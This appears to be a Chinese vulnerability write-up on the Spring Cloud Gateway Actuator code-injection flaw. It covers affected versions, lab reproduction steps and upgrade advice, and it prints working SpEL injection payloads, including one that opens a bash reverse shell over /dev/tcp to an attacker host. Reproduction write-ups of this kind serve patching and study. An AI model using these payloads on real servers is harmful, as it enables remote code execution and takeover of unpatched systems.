漏洞描述:
当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
漏洞影响的范围:
-
Spring Cloud Gateway < 3.1.1
-
Spring Cloud Gateway < 3.0.7
-
Spring Cloud Gateway 旧的、不受支持的版本也会受到影响
安全版本:
-
Spring Cloud Gateway >= 3.1.1
-
Spring Cloud Gateway >= 3.0.7
漏洞复现:
由于我是本地搭建环境,直接启动idea。
首先需要修改到漏洞存在的版本号,我修改到3.1.0版本,然后启动环境。
-
抓取数据包,GET请求/actuator/,查看是否开启actuator功能,列出路由接口信息。
-
POST请求创建新路由路由,需添加一个Content-Type:application/json头。和如下代码:
{
"id": "htxj",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
可以看到页面返回201,说明创建成功。
3.刷新路由器,手动添加一个参数,否则可能无法访问成功。页面返回200,说明已成功刷新路由。
4.GET方法请求,访问路由信息。这里需要将Content-Length头删除,才能成功。(由于我是执行whoami的命令所以我返回的是用户名)
由于本地是windows系统,后面反弹shell是vulfocus靶场
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/vpsip/443 0>&1"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
然后刷新路由信息,就会反弹shell回来。不需要重新请求路由信息。
修复建议:
-
3.1.x用户应升级到3.1.1+;
-
3.0.x用户应升级到3.0.7+;
-
如果不需要Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用。
原文始发于微信公众号(安全笔记):Spring Cloud Gateway远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论